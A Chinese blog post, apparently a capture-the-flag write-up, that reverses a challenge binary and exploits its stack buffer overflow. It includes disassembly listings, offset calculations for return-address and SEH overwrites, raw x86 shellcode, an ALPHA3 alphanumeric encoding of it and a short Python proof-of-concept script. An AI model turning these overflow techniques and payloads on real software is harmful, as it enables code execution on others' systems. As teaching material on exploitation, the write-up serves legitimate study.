您现在的位置: Tracy‘Blog > 博客 > 一些破文 > 正文
栈溢出攻击原理实例详解

    去年,师弟给了个他比赛的题目给我,说要我试试,一直没去弄。这不又开学了,正愁着连ESP定律都快忘干净了,又把它拿出来了,就当练练手,就当加深一下印象吧~做完之后,发现,这是一个典型的栈溢出利用。那就当教程来写了~

    直接双击,程序一闪而过,什么都没看到。于是,命令行下运行,看到了返回结果Illegal Arguments(非法参数)。习惯性的peid查壳,发现没加壳。拖到C32Asm看看有哪些字符串,同时OD加载,IDA分析。
    直接单步到程序处:

CPU Disasm
Address   Hex dump       Command                                         Comments
004010B0  /$  837C24 04  CMP     DWORD PTR SS:[Arg1],2                   ; level7.004010B0(guessed Arg1,Arg2,Arg3)
004010B5  |.  7D 13      JGE     SHORT level7.004010CA
004010B7  |.  68 B480400 PUSH    OFFSET level7.004080B4                  ; ASCII "Illegal Arguments",LF
004010BC  |.  E8 D001000 CALL    level7.00401291
004010C1  |.  83C4 04    ADD     ESP,4
004010C4  |.  B8 0100000 MOV     EAX,1
004010C9  |.  C3         RETN
004010CA  |>  56         PUSH    ESI
004010CB  |.  57         PUSH    EDI
004010CC  |.  68 B080400 PUSH    OFFSET level7.004080B0                  ; ASCII "wb+"
004010D1  |.  68 4080400 PUSH    OFFSET level7.00408040                  ; ASCII "level7"
004010D6  |.  E8 A301000 CALL    level7.0040127E                         ; 打开文件
004010DB  |.  8BF0       MOV     ESI,EAX
004010DD  |.  8B4424 18  MOV     EAX,DWORD PTR SS:[Arg2]
004010E1  |.  56         PUSH    ESI
004010E2  |.  8B48 04    MOV     ECX,DWORD PTR DS:[EAX+4]
004010E5  |.  51         PUSH    ECX
004010E6  |.  E8 3C04000 CALL    level7.00401527                         ; fputs
004010EB  |.  56         PUSH    ESI                                     ; /Arg1
004010EC  |.  E8 2903000 CALL    level7.0040141A                         ; \level7.0040141A, fflush
004010F1  |.  56         PUSH    ESI
004010F2  |.  E8 CB01000 CALL    level7.004012C2                         ; ftell  返回文件长度
004010F7  |.  56         PUSH    ESI                                     ; /Arg1
004010F8  |.  8BF8       MOV     EDI,EAX                                 ; |
004010FA  |.  E8 2100000 CALL    level7.00401120                         ; \level7.00401120, fclose
004010FF  |.  68 8480400 PUSH    OFFSET level7.00408084                  ; ASCII "Write argv[1] to level7, level7 is a file!",LF
00401104  |.  E8 8801000 CALL    level7.00401291
00401109  |.  57         PUSH    EDI
0040110A  |.  E8 F1FEFFF CALL    level7.00401000                         ; 读文件
0040110F  |.  83C4 24    ADD     ESP,24
00401112  |.  33C0       XOR     EAX,EAX
00401114  |.  5F         POP     EDI
00401115  |.  5E         POP     ESI
00401116  \.  C3         RETN

     并不长,通过IDA的静态分析,大概也能知道哪些call的大致功能。
    命令行下输入 level7.exe 123456798
    返回:
    Write argv[1] to level7, level7 is a file!
    Read from level7
    File's size too small, not read
    提示文件大小太小,然而文件中的数据却是我们刚才输入的参数,那么多输入点会怎样呢?从C32asm中其实可以看到字符串Read level7 ok!的字样在0x00401091处,直接跟随到那地址,来看看。

     

CPU Disasm
Address   Hex dump       Command                                         Comments
00401021  |.  E8 6B02000 CALL    level7.00401291
00401026  |.  8BBC24 0C0 MOV     EDI,DWORD PTR SS:[ARG.1]
0040102D  |.  83C4 04    ADD     ESP,4
00401030  |.  83FF FF    CMP     EDI,-1
00401033  |.  75 17      JNE     SHORT level7.0040104C
00401035  |.  68 4C80400 PUSH    OFFSET level7.0040804C                  ; ASCII "File's size too small, not read",LF
0040103A  |.  E8 5202000 CALL    level7.00401291
0040103F  |.  83C4 04    ADD     ESP,4
00401042  |.  33C0       XOR     EAX,EAX
00401044  |.  5F         POP     EDI
00401045  |.  81C4 00010 ADD     ESP,100
0040104B  |.  C3         RETN
0040104C  |>  81FF C8000 CMP     EDI,0C8
00401052  |.  7F 17      JG      SHORT level7.0040106B
00401054  |.  68 4C80400 PUSH    OFFSET level7.0040804C                  ; ASCII "File's size too small, not read",LF
00401059  |.  E8 3302000 CALL    level7.00401291
0040105E  |.  83C4 04    ADD     ESP,4
00401061  |.  33C0       XOR     EAX,EAX
00401063  |.  5F         POP     EDI
00401064  |.  81C4 00010 ADD     ESP,100
0040106A  |.  C3         RETN
0040106B  |>  56         PUSH    ESI
0040106C  |.  68 4880400 PUSH    OFFSET level7.00408048                  ; ASCII "rb"
00401071  |.  68 4080400 PUSH    OFFSET level7.00408040                  ; ASCII "level7"
00401076  |.  E8 0302000 CALL    level7.0040127E                         ; fopen
0040107B  |.  8BF0       MOV     ESI,EAX
0040107D  |.  8D4424 10  LEA     EAX,[LOCAL.63]
00401081  |.  56         PUSH    ESI
00401082  |.  57         PUSH    EDI
00401083  |.  6A 01      PUSH    1
00401085  |.  50         PUSH    EAX
00401086  |.  E8 EB00000 CALL    level7.00401176                         ; fread  此处异常
0040108B  |.  56         PUSH    ESI                                     ; /Arg1
0040108C  |.  E8 8F00000 CALL    level7.00401120                         ; \level7.00401120
00401091  |.  68 3080400 PUSH    OFFSET level7.00408030                  ; ASCII "Read level7 ok",LF
00401096  |.  E8 F601000 CALL    level7.00401291
0040109B  |.  83C4 20    ADD     ESP,20
0040109E  |.  8D4424 08  LEA     EAX,[LOCAL.63]
004010A2  |.  5E         POP     ESI
004010A3  |.  5F         POP     EDI
004010A4  |.  81C4 00010 ADD     ESP,100
004010AA  \.  C3         RETN
    直接找条件跳转处,0x00401033,0x00401052,目测edi中存放的是生成的level7文件的长度。当长度小于C8时,提示文件太小。     00401076处打开文件,00401086处为fread读取文件内容了。     既然是exploit的题目,那必定有溢出啊,我们来看看在哪。输入一个超长的字符串作为level7的输入参数。结果

    我们在00401086处下断点,在od中带参数调试,参数就用刚才那个数据。F9运行,程序停在了
00401B40  |.  F3:A5      REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI]  ; 异常
    我们在这个地址下断点,然后F9再次运行,让它在读取文件环节第一次执行这条指令的时候断下来。
    发现这条指令是将003A3E94处的读取出来的内容复制到堆栈中。

 

     1、我们在堆栈窗口往下翻,会发现:

    0018FF1C处为某个call的返回地址,数一下 前面还有两个return,就可以知道,这个返回地址是最外面的call的。
    2、再往后翻

 

    看到SEH了。

    所以利用方法为有两个:
    1、覆盖返回地址:
    先构造一个数据把返回地址覆盖了~
    0x18FF1F-0x18FE1C+0x1=0x104
    换做十进制就是260,也就是只要长度为260了,就可以实现跳转。而且最后四位就是要跳转的地址~
    我们用下面的内容作为输入参数:    

    01234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789
    这里就是覆盖call返回地址的就是36373839了。

    再F8,报错如下:

    2、覆盖SEH:
    再来一次,0x18FF7F-0x18FE1C+1=164,十进制是356,但是这里需要注意的是,怎么来触发异常?
    我们继续往后翻:

    

    堆栈空间最大值为0018FFFF,如果我们的数据大于0018FFFF-0x18FE1C+1时,就在堆栈中放不下,就会写入00190000,再来看看00190000是否可写。    

    只可读,也就是说,如果填充的字符过多,那就会出发异常,就会去执行seh。
    我们来试试需要填充的字符数是0x18FFFF-0x18FE1C+1=1E4,十进制是484
    生成这么一个数据段:

    0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901aaaa567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678    

    这是500个字符。在353-356应该是seh,我用的是aaaa来填充。


    之后写入异常,我们Shift+F9忽略异常,报错:    

    所以,结论是这两个地方都可以用来放shellcode的跳转地址。

    后面要做的就是,如何找个地方放shellcode。
    限制条件是哪些呢?shellcode的长度以及地址如何处理~
    按照第一种方法来跳转的话,有260-4=256个字符。足够放一个shellcode了。
    可偏偏问题也来了。数据是我们手动输入进去的,可shellcode里面难免会有手动输入不了的字符。怎么解决呢?比较拙劣的解决办法是,根据程序运行原理,在接受输入参数后,先写入了文件,关闭保存文件后,再打开文件读取出来,在读取的时候反生异常触发执行shellcode。
    那,我提出的拙劣的测试办法为:在程序第二次打开文件的时候断下来,手动构造好的把shellcode写到文件里,让它读取。我们来试试看~
    用覆盖返回地址构造,将返回地址修改为0018FE1C,如下:

    之后,运行,提示异常~Shift+F9忽略,成功执行shellcode。

    

    所以,成功利用。

    再试试seh来跳转,要使用seh,是不是也得找个p/p/r呢?先看看有没safeseh保护:

                

 

    发现,并没有保护~
    需要注意的是,这里可不能直接跳到0018FE1C哈,还是先来说下seh利用的方法吧~
    现在的seh如图:

 

    一般情况下,是先触发异常,使程序执行到seh所指的位置(图中为61616161,而一般情况下为p/p/r的地址),运行完ppr中的retn后返回到seh next的地址,而我们 一般在seh next的地址上放有一个跳转或其他无效的指令,使其正常跳转到我们shellcode处。
    接下来找一个可用的p/p/r地址,同时也方便后面顺利使用的地址如下:00403644
    seh next为:04EB9090(解释成汇编就是  nop nop jmp 当前地址+04)
    之后,0018FF80开始则为shellcode填充位置。可用空间有128字节
    构造如下:

  再次按照原方法运行,Shift+F9运行,结果如下:

            

        也就是说,看起来这两种方法都可以利用。

        可这毕竟还只是拙劣的方法,那,怎么去更好的利用而不是断下来换文件呢?
        最大的限制条件就是所有的参数都必须是手动输入~
        先来考虑地址处理的问题吧,覆盖直接返回地址中的地址,0018FE1C显然不能手动输入,那怎么办呢?我们执行的时候会发现,运行到异常处时,EAX刚好指向shellcode起始地址,那么,在程序中找一个类似jmp eax或者是call eax,更或者是push eax ret,之类的指令。
        用!pvefindaddr j -r EAX ,我们得到了一个刚好能够用得上的地址0x00405C77。或许你会说00不能输入,可是,我来看看造成异常的这条指令:
        00401B40     REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI]  ; 异常
        MOVS操作的是DWORD(双字),也就是四字节。每次复制4字节~当我们最后只输入三个字节的时候,应该会保留原先的00而覆盖掉后面的地址。
        来试试:

 

        

发现是可以实现的。

然后要考虑的问题就是shellcode转成数字字母型的了,首先想到的就是skylined的alpha系列。这里用的是alpha3。

python ALPHA3.py x86 ascii mixedcase EAX --input=1.bin


因为EAX是指向shellcode的,所以这里的基地址就选EAX,我的shellcode如下:

unsigned char shellcode[]=
"\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42"
"\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03"
"\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b"
"\x34\xaf\x01\xc6\x45\x81\x3e\x46\x61\x74\x61\x75\xf2\x81\x7e"
"\x08\x45\x78\x69\x74\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c"
"\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x68\x61\x63"
"\x6B\x01\x68\x63\x79\x43\x72\x68\x20\x54\x72\x61\x89\xe1\xfe"
"\x49\x0b\x31\xc0\x51\x50\xff\xd7";


    得到的数字字母shellcode如下:
    hffffk4diFkTpj02Tpk0T0AuEE0t3r3V132v4x0D4z0a7n3m0f0d5K167l3a0B0A5L1L4s2s7l0U0E4V5L4L020N2k3w0d2y015p5K7k2u0M3f1M3I3h163L064j0u3D2n130U2B0T093V8M0N2Z0u061k7O0F5n5K7N2v0x3g0W5N1l0Z3P0M0w034r5K015l4Z004J1k2H0P13001n0P050s0D1l0J0d170R8M3C4P0x08114U0c2r8O4C00
    下面就是连接我们的地址等,最终POC为:

#exploit.py
shellcode="hffffk4diFkTpj02Tpk0T0AuEE0t3r3V132v4x0D4z0a7n3m0f0d5K167l3a0B0A5L1L4s2s7l0U0E4V5L4L020N2k3w0d2y015p5K7k2u0M3f1M3I3h163L064j0u3D2n130U2B0T093V8M0N2Z0u061k7O0F5n5K7N2v0x3g0W5N1l0Z3P0M0w034r5K015l4Z004J1k2H0P13001n0P050s0D1l0J0d170R8M3C4P0x08114U0c2r8O4C00"
junk="AA"
control="w\@"
bin= open('exploit.txt', 'wb+')
bin.write(shellcode)
bin.write(junk)
bin.write(control)
bin.close()
    我们来测试下:


 

    成功溢出。

    好,下面用第二种方法,利用SEH跳转到shellcode。似乎比刚才难了点~
348-351处为nseh的地址,352-355为seh的地址。会发现,这次seh的地址中的00是真的不好处理了。那,能不能用系统的dll来实现ppr呢?
在系统领空翻啊翻,总算找到了一处:

 

    刚好可以手动输入:v\*=
    seh搞定了,那nesh呢?要可输入的,需要注意的是还得实现跳转!所以不能像刚才那样9090EB04了。看看有什么单字节指令吧~
    想了想决定用dec ecx  dec ecx  jb 原地址+21,而且,它不能再是+04了,因为04你输入不了,那最小就是0x21,十进制就是33,那么可用空间就变成了128-33=95字节了,即21724949,而我们加密后的shellcode有254个字节~明显放不下了。怎么办呢?
    完了等我回过头来再看的时候:
    发现了应用SEH的以下几个限制条件:
• SHE handler必须指向non-SafeSEH module
• 内存页必须可执行
• SHE链表不应被篡改,并且位于链表末端的SHE结构必须为特定值(next SHE指针值为0xFFFFFFFF,SHE handler也必须为一特定值)
• 所有的SHE结构必须为4-byte对齐
• 最后一个SHE结构的handler必须正确指向ntdll中的ntdll!FinalExceptionHandler例程
• 所有SHE指针必须指向栈中

    也就是说,从我选择去系统领空翻一翻的时候,我就已经错了~也不想去改SAFESEH的状态了。

    行吧,这文就写到这里了。最终SEH的利用没能成功,虽然没能成功利用SEH实现跳转,但是呢,至少原理都过了一遍了,打算明天把去年写的一篇利用SEH的文发上来补充一下~

 

 

——Tracy_梓朋

2014/02/25
最后,感谢ShioN、半斤八两~

发表评论(0)
姓名 *
电子邮件
QQ
评论内容 *
验证码 *图片看不清?点击重新得到验证码请输入图片后链接字符‘a’